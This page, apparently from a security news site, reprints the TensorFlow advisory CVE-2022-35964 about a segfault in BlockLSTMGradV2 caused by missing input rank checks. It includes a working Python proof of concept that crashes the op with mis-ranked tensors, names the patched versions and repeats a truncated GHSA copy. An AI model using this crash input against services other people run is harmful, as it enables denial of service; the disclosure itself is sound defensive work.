Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-35964: Segfault in `BlockLSTMGradV2`

TensorFlow is an open source platform for machine learning. The implementation of BlockLSTMGradV2 does not fully validate its inputs. This results in a a segfault that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 2a458fc4866505be27c62f81474ecb2b870498fa. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.

CVE
#vulnerability#mac#dos#git

The implementation of BlockLSTMGradV2 does not fully validate its inputs.

import tensorflow as tf

use_peephole = False seq_len_max = tf.constant(1, shape=[], dtype=tf.int64) x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) tf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Related news

GHSA-f7r5-q7cx-h668: TensorFlow vulnerable to segfault in `BlockLSTMGradV2`

### Impact The implementation of `BlockLSTMGradV2` does not fully validate its inputs. - `wci`, `wcf`, `wco`, `b` must be rank 1 - `w`, cs_prev`, `h_prev` must be rank 2 - `x` must be rank 3 This results in a a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf use_peephole = False seq_len_max = tf.constant(1, shape=[], dtype=tf.int64) x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs = tf.constant(0.504355371, shape...

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda